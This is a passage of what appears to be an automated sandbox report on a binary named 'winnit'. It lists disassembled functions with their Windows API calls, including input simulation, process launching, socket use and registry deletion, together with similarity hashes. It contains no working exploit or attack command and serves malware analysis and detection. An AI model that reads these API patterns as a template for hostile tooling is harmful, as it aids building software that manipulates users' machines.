                                          • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                          • String ID:
                                          • API String ID: 1211466189-0
                                          • Opcode ID: 553d7667a838513b178ca39b615eed1115fbd77387dbeba178cd4577c29b26c3
                                          • Instruction ID: 4fb1fac65055b001e68a2af51d9e81f587f062c2c5a1fb6344a6bfdcf3f3b03d
                                          • Opcode Fuzzy Hash: 553d7667a838513b178ca39b615eed1115fbd77387dbeba178cd4577c29b26c3
                                          • Instruction Fuzzy Hash: C0B17871A0021AEBDF14CF69D9857AD7BF1FF04701F2880A9EC589B295DB74A950CB90
                                          Function 00AB2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                          Download Yara Rule
                                          APIs
                                          • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00AEC1C7,00000004,00000000,00000000,00000000), ref: 00AB2ACF
                                          • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00AEC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00AB2B17
                                          • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00AEC1C7,00000004,00000000,00000000,00000000), ref: 00AEC21A
                                          • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00AEC1C7,00000004,00000000,00000000,00000000), ref: 00AEC286
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ShowWindow
                                          • String ID:
                                          • API String ID: 1268545403-0
                                          • Opcode ID: 33d62bb5dd693dbab3664876d6f9c553a21953d67b87d2092e38f4c749fcf4e5
                                          • Instruction ID: cc9879c2b7f85d23bcf34d73e8c37e9839d8cbde5424a33851853a1dbed7d376
                                          • Opcode Fuzzy Hash: 33d62bb5dd693dbab3664876d6f9c553a21953d67b87d2092e38f4c749fcf4e5
                                          • Instruction Fuzzy Hash: 28413D316046C0DBD735AB298C8CBFF7BAAAB45350F34881FE147835A3CA74A842D711
                                          Function 00B170C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InterlockedExchange.KERNEL32(?,000001F5), ref: 00B170DD
                                            • Part of subcall function 00AD0DB6: std::exception::exception.LIBCMT ref: 00AD0DEC
                                            • Part of subcall function 00AD0DB6: __CxxThrowException@8.LIBCMT ref: 00AD0E01
                                          • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00B17114
                                          • EnterCriticalSection.KERNEL32(?), ref: 00B17130
                                          • _memmove.LIBCMT ref: 00B1717E
                                          • _memmove.LIBCMT ref: 00B1719B
                                          • LeaveCriticalSection.KERNEL32(?), ref: 00B171AA
                                          • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00B171BF
                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 00B171DE
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                          • String ID:
                                          • API String ID: 256516436-0
                                          • Opcode ID: 60f95a4997643506df54392e5d35ed6472efcd3c6b044a32fcf7ae36cc168709
                                          • Instruction ID: 4b27011efab930283566075213eb0cb0b439b592418147142378b2f32f8b2eac
                                          • Opcode Fuzzy Hash: 60f95a4997643506df54392e5d35ed6472efcd3c6b044a32fcf7ae36cc168709
                                          • Instruction Fuzzy Hash: 62316C32900205EBDF00DFA5DD89EAFB7B9EF45710F2441A6F904AB256DB709A54CBA0
                                          Function 00B361D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DeleteObject.GDI32(00000000), ref: 00B361EB
                                          • GetDC.USER32(00000000), ref: 00B361F3
                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B361FE
                                          • ReleaseDC.USER32(00000000,00000000), ref: 00B3620A
                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00B36246
                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00B36257
                                          • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00B3902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00B36291
                                          • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00B362B1
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                          • String ID:
                                          • API String ID: 3864802216-0
                                          • Opcode ID: cab2d0ff9adc43efdf02b3b084cc3783ddd8e56527ad2524829332bb100b43ce
                                          • Instruction ID: 6da5eb3ee01b9d966a0c1d05f79aefc930d6dbb143cd42c887814fc7b4709ffd
                                          • Opcode Fuzzy Hash: cab2d0ff9adc43efdf02b3b084cc3783ddd8e56527ad2524829332bb100b43ce
                                          • Instruction Fuzzy Hash: 39316B72201614BFEB118F54CC8AFFB3BA9EF49765F154065FE08AB291CAB59C41CB60
                                          Function 00B0BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memcmp
                                          • String ID:
                                          • API String ID: 2931989736-0
                                          • Opcode ID: 5c9d0d8b74574e1a5195b9da57683ece4a673746c6d7de46e0c175e231ce47ff
                                          • Instruction ID: 8a16dfe7648b46dc66b1705c35c86f20a4f5913246dd93eaaf41d2a1e292eca8
                                          • Opcode Fuzzy Hash: 5c9d0d8b74574e1a5195b9da57683ece4a673746c6d7de46e0c175e231ce47ff
                                          • Instruction Fuzzy Hash: 1721CFE16012067BE21467119E82FFB7BDCDE14348F0840A1FD06966C3FF24DF11A2A1
                                          Function 00B1EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                            • Part of subcall function 00ACFC86: _wcscpy.LIBCMT ref: 00ACFCA9
                                          • _wcstok.LIBCMT ref: 00B1EC94
                                          • _wcscpy.LIBCMT ref: 00B1ED23
                                          • _memset.LIBCMT ref: 00B1ED56
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                          • String ID: X
                                          • API String ID: 774024439-3081909835
                                          • Opcode ID: 50cdc197f35d599b9ad595673039cc80245840d61fb85daf7b5d75885814ce53
                                          • Instruction ID: fecab5c41af3303cfdc97075a9021824dd0827fb087a00085b6f4805c8e0d303
                                          • Opcode Fuzzy Hash: 50cdc197f35d599b9ad595673039cc80245840d61fb85daf7b5d75885814ce53
                                          • Instruction Fuzzy Hash: 45C18E315083019FC754EF64C981AAEB7E8FF85310F40496DF99A9B2A2DB70EC45CB82
                                          Function 00B26B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00B26C00
                                          • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00B26C21
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B26C34
                                          • htons.WSOCK32(?,?,?,00000000,?), ref: 00B26CEA
                                          • inet_ntoa.WSOCK32(?), ref: 00B26CA7
                                            • Part of subcall function 00B0A7E9: _strlen.LIBCMT ref: 00B0A7F3
                                            • Part of subcall function 00B0A7E9: _memmove.LIBCMT ref: 00B0A815
                                          • _strlen.LIBCMT ref: 00B26D44
                                          • _memmove.LIBCMT ref: 00B26DAD
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
                                          • String ID:
                                          • API String ID: 3619996494-0
                                          • Opcode ID: 7b7b7eb167437555a39a9a587b8cfe1718033c0e3c78b73efd07a7e577284108
                                          • Instruction ID: 55bca7f9d6d3d4ba29a8a75143b4735e44fb8a1da068e2d47651444111f0bf33
                                          • Opcode Fuzzy Hash: 7b7b7eb167437555a39a9a587b8cfe1718033c0e3c78b73efd07a7e577284108
                                          • Instruction Fuzzy Hash: 2981DF71608314ABC710EB24DC86FABB7ECEF84714F14496DF9599B2A2DA70ED01CB52
                                          Function 00AB1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4eab0da69dd720858ec6bbf08ec3bbde9c6683507d500f9c6f0ed4c887b12f2c
                                          • Instruction ID: 5a551c21fc7a93f6ef69acbe6c08ded406f2b5e60f2c8451cfdc30d2176fd329
                                          • Opcode Fuzzy Hash: 4eab0da69dd720858ec6bbf08ec3bbde9c6683507d500f9c6f0ed4c887b12f2c
                                          • Instruction Fuzzy Hash: B2715770900149EFCB148F98CC99AFFBBB9FF85310F648159F915AB252C734AA51CBA0
                                          Function 00B3B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • IsWindow.USER32(00F458E0), ref: 00B3B3EB
                                          • IsWindowEnabled.USER32(00F458E0), ref: 00B3B3F7
                                          • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00B3B4DB
                                          • SendMessageW.USER32(00F458E0,000000B0,?,?), ref: 00B3B512
                                          • IsDlgButtonChecked.USER32(?,?), ref: 00B3B54F
                                          • GetWindowLongW.USER32(00F458E0,000000EC), ref: 00B3B571
                                          • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00B3B589
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                          • String ID:
                                          • API String ID: 4072528602-0
                                          • Opcode ID: 181942dc33e9aaba86379f3014b72ade75aaaa19d8664499fae01e2dca0cb2d7
                                          • Instruction ID: e54a80d1cb702aff0fdbd1860e81f034a69d599ef2750c60e0fcfe21c9052c51
                                          • Opcode Fuzzy Hash: 181942dc33e9aaba86379f3014b72ade75aaaa19d8664499fae01e2dca0cb2d7
                                          • Instruction Fuzzy Hash: 90718C34A04205AFDB25DF54C8D5FBABBF9EF09300F248099EA95973A6CB71AD40CB54
                                          Function 00B2F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B2F448
                                          • _memset.LIBCMT ref: 00B2F511
                                          • ShellExecuteExW.SHELL32(?), ref: 00B2F556
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                            • Part of subcall function 00ACFC86: _wcscpy.LIBCMT ref: 00ACFCA9
                                          • GetProcessId.KERNEL32(00000000), ref: 00B2F5CD
                                          • CloseHandle.KERNEL32(00000000), ref: 00B2F5FC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                          • String ID: @
                                          • API String ID: 3522835683-2766056989
                                          • Opcode ID: e95cd65ad482614d9dc03f102dc8144cfb767fefb6f7539992891a2be967f286
                                          • Instruction ID: b9b08ec06052dfb37e8ec0790e18fa4f294031126f60f65aea52fa4f2216014b
                                          • Opcode Fuzzy Hash: e95cd65ad482614d9dc03f102dc8144cfb767fefb6f7539992891a2be967f286
                                          • Instruction Fuzzy Hash: 68618475A00629DFCF14EFA4D5819AEBBF9FF49310F1444A9E859AB351CB30AD41CB90
                                          Function 00B10F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32(?), ref: 00B10F8C
                                          • GetKeyboardState.USER32(?), ref: 00B10FA1
                                          • SetKeyboardState.USER32(?), ref: 00B11002
                                          • PostMessageW.USER32(?,00000101,00000010,?), ref: 00B11030
                                          • PostMessageW.USER32(?,00000101,00000011,?), ref: 00B1104F
                                          • PostMessageW.USER32(?,00000101,00000012,?), ref: 00B11095
                                          • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00B110B8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessagePost$KeyboardState$Parent
                                          • String ID:
                                          • API String ID: 87235514-0
                                          • Opcode ID: 397043c7dbbdddee9c27d579545c1c45c11f76ea3af66ae184272b119c6deee0
                                          • Instruction ID: 33de3ba7404f53cf32be5eb1d905e1e41f7e57a8597d740bf316d9ec18215e92
                                          • Opcode Fuzzy Hash: 397043c7dbbdddee9c27d579545c1c45c11f76ea3af66ae184272b119c6deee0
                                          • Instruction Fuzzy Hash: 9651F3609147D53DFB3256388C0ABFABFE9DB0A300F4889C9E2D4968D2C2E4ACD5D751
                                          Function 00B10D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32(00000000), ref: 00B10DA5
                                          • GetKeyboardState.USER32(?), ref: 00B10DBA
                                          • SetKeyboardState.USER32(?), ref: 00B10E1B
                                          • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00B10E47
                                          • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00B10E64
                                          • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00B10EA8
                                          • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00B10EC9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessagePost$KeyboardState$Parent
                                          • String ID:
                                          • API String ID: 87235514-0
                                          • Opcode ID: 5d17d9e390712a1ed7dcf841fb66b4379534044ff342c487b4a1ef86557bd1d0
                                          • Instruction ID: e2d8bd8a9f5dd91b2555e9cf1e99a6cd6e573a9c90444371d66beff0fa8dcee5
                                          • Opcode Fuzzy Hash: 5d17d9e390712a1ed7dcf841fb66b4379534044ff342c487b4a1ef86557bd1d0
                                          • Instruction Fuzzy Hash: F051F5A19247D67DFB3267248C45BFA7FE9AB06300F4888C9E1D4868C2C3D5ACD5D750
                                          Function 00B155FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _wcsncpy$LocalTime
                                          • String ID:
                                          • API String ID: 2945705084-0
                                          • Opcode ID: 0242ba73e6980f87e5d6affdb28a14871b23ed9c1c9eb70910e61124e1a76c2e
                                          • Instruction ID: 87c1d420c5ab4cce3dceeb946c008fce0960a0d0c1d8d4cc0b8d503edb0a6ef1
                                          • Opcode Fuzzy Hash: 0242ba73e6980f87e5d6affdb28a14871b23ed9c1c9eb70910e61124e1a76c2e
                                          • Instruction Fuzzy Hash: FC41B566C10614B6CB11EBB48C8AACFB3BC9F44310F908957E519E3321FB75A685C7E6
                                          Function 00B13671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B1466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B13697,?), ref: 00B1468B
                                            • Part of subcall function 00B1466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B13697,?), ref: 00B146A4
                                          • lstrcmpiW.KERNEL32(?,?), ref: 00B136B7
                                          • _wcscmp.LIBCMT ref: 00B136D3
                                          • MoveFileW.KERNEL32(?,?), ref: 00B136EB
                                          • _wcscat.LIBCMT ref: 00B13733
                                          • SHFileOperationW.SHELL32(?), ref: 00B1379F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                          • String ID: \*.*
                                          • API String ID: 1377345388-1173974218
                                          • Opcode ID: 71e751d66fdfb22d9a9d0dce193d5fd195dde4c073025fc2167ec12d42829dd0
                                          • Instruction ID: ae032826447913dcfe711c814e06b9a6e75c7c9742bb2c4337bb59597f7cc6d6
                                          • Opcode Fuzzy Hash: 71e751d66fdfb22d9a9d0dce193d5fd195dde4c073025fc2167ec12d42829dd0
                                          • Instruction Fuzzy Hash: 34418E71508344AAC751EF64D491AEFB7ECEF89780F8009AEB48AC3251EB35D689C752
                                          Function 00B37291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B372AA
                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B37351
                                          • IsMenu.USER32(?), ref: 00B37369
                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B373B1
                                          • DrawMenuBar.USER32 ref: 00B373C4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Menu$Item$DrawInfoInsert_memset
                                          • String ID: 0
                                          • API String ID: 3866635326-4108050209
                                          • Opcode ID: c724530a51f47f04af2afc19dc8de55175f78b2f5101507b74b9cab6763dd970
                                          • Instruction ID: 384376c47949a2b60c03e6906bd7c04a0f6040f22706496b13eb3a0942b9b896
                                          • Opcode Fuzzy Hash: c724530a51f47f04af2afc19dc8de55175f78b2f5101507b74b9cab6763dd970
                                          • Instruction Fuzzy Hash: 154167B5A45209EFDB20CF50D884EAABBF8FB08310F2480A9FD55A7260CB30AD45DF50
                                          Function 00B30FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00B30FD4
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B30FFE
                                          • FreeLibrary.KERNEL32(00000000), ref: 00B310B5
                                            • Part of subcall function 00B30FA5: RegCloseKey.ADVAPI32(?), ref: 00B3101B
                                            • Part of subcall function 00B30FA5: FreeLibrary.KERNEL32(?), ref: 00B3106D
                                            • Part of subcall function 00B30FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00B31090
                                          • RegDeleteKeyW.ADVAPI32(?,?), ref: 00B31058
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
